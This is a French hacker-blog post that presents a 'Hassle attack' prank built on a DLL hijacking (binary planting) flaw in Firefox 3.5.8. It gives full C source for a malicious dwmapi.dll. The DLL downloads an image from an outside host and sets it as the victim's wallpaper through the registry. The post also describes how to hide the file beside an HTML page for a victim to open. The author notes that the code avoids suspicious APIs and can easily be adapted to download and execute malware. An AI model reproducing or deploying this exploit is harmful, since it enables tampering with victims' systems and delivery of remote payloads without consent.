Attaque Hassle via l'exploitation du binary planting

Sur ce grand cyber-merdier qu'est le web il a eu et il y aura encore des mèmes, phénomènes Internet & co dont le but et de vous prendre par surprise pour vous informer que vous vous êtes fait avoir :p

Les anciens se souviendront du fameux "cyber-doigt dans le cul" mais on citera aussi le rickrolling, goatse ou la vidéo tranquille qui se termine par un visage défiguré qui hurle dans les hauts parleurs. Mais selon moi, rien ne laisse psychologiquement plus de marque qu'une hassle attack.

Le mot anglais hassle est un synomyme de harass (harceler), mais en fait la hassle attack vient du nom de David Hasselhoff : Quoi de plus humiliant que de ce retrouver face à face à la virilité plus que débordante de l'ancien sauveteur de Malibu ?

Conneries mis à part, c'est surtout l'occasion de vous montrer un cas concret de l'exploitation des failles de type binary planting car les exploits existants se cantonnent à afficher des MessageBox. Ici on va créer une DLL malicieuse qui exploitera une faille dans une ancienne version de Firefox. On a testé avec la version 3.5.8 qui est récupérable sur oldapps.com

Je n'entre pas dans les détails de la recherche de ces failles qui a déjà été traité par storm dans le magazine Go Null Yourself. Je précise simplement que la compilation des exploits que l'on trouve sur le web échouera (ne donnera pas le dll valide pour l'exploitation) avec un compilateur C++ comme Visual Studio car le nom des fonctions exportées ne sera pas celui attendu. Pour que cela marche il faudra aussi rajouter la directive extern "C". Vous pouvez utiliser DLL Export Viewer pour obtenir le nom des fonctions qu'un fichier DLL exporte.

Que fait notre evil DLL qui suit ? Elle télécharge sur le web un image BMP de David Hasselhoff dans ses plus beaux atours et défini cette image en fond d'écran. Elle la rajoute aussi dans la base de registre. Bien sûr c'est un exemple pour le lulz mais qui peut être facilement modifié pour du download and execute d'un malware quelconque ;-)

/* LOTFREE Hassle exploit pour firefox 3.5.8 - dll a nommer dwmapi.dll */
#include <windows.h>
/* Pour les fonctions InternetOpen*
 * On n'utilise pas URLDownloadToFile
 * qui necessite urlmon.dll et est generalement
 * utilise dans les shellcodes et droppers
 * donc suspicieux.
 */
#include <wininet.h>

#define DllExport extern "C" __declspec (dllexport)

int pwn()
{
    HKEY handle;
    DWORD dwDisp;
    HINTERNET hnet;
    HINTERNET hurl;
    char buffer[4096];
    DWORD dwRead = 0, dwWrite;
    HANDLE fichier;
    wchar_t image[] = L"http://www.4everload.com/index.php/Images/Large/c04dae705525/David_Hasselhoff.bmp";
    wchar_t tempdir[255];

    GetTempPathW(245, tempdir);
    wcscat(tempdir, L"img.bmp");


    hnet = InternetOpenW(L"Mozilla", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
    hurl = InternetOpenUrlW(hnet,
                            image,
                            NULL,
                            0,
                            0,
                            0);
    fichier = CreateFileW(tempdir, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    while(InternetReadFile(hurl, buffer, 4096, &dwRead))
    {
        if(dwRead == 0) break;
        WriteFile(fichier, buffer, dwRead, &dwWrite, NULL);
    }
    CloseHandle(fichier);
    InternetCloseHandle(hurl);
    InternetCloseHandle(hnet);

    RegCreateKeyExW(HKEY_CURRENT_USER,
                       L"Control Panel\\Desktop\\Wallpaper",
                       0,
                       NULL,
                       0,
                       KEY_ALL_ACCESS,
                       NULL,
                       &handle,
                       &dwDisp);
    RegSetValueExW(handle, L"Wallpaper", 0, REG_SZ, (LPBYTE)tempdir, wcslen(tempdir)*sizeof(wchar_t));
    RegCloseKey(handle);

    SystemParametersInfoW(SPI_SETDESKWALLPAPER, 0, (PVOID)tempdir, SPIF_UPDATEINIFILE|SPIF_SENDCHANGE);
    return 0;
}

DWORD WINAPI ThreadProc(LPVOID lpParameter)
{
        pwn();
        return 0;
}

DllExport void DwmIsCompositionEnabled() {
    /*
    Via http://msdn.microsoft.com/en-us/library/windows/desktop/aa385098(v=VS.85).aspx
    La doc de InternetOpen* indique :
    Like all other aspects of the WinINet API, this function cannot be safely
    called from within DllMain or the constructors and destructors of global objects.
    Du coup on fait appel a un thread pour passer outre.
    */
    CreateThread(NULL, NULL, ThreadProc, NULL, NULL, NULL);
    return;
}


BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
    return 0;
}

Il ne reste plus qu'à placer la DLL compilée dans un dossier sous le nom dwmapi.dll. Donner l'attribut caché au fichier puis placer un fichier .html dans le même dossier. Faire ensuite en sorte q'une personne avec un Firefox vulnérable ouvre le fichier et rigoler un bon coup :)
Source + DLL dans data/dll_hijack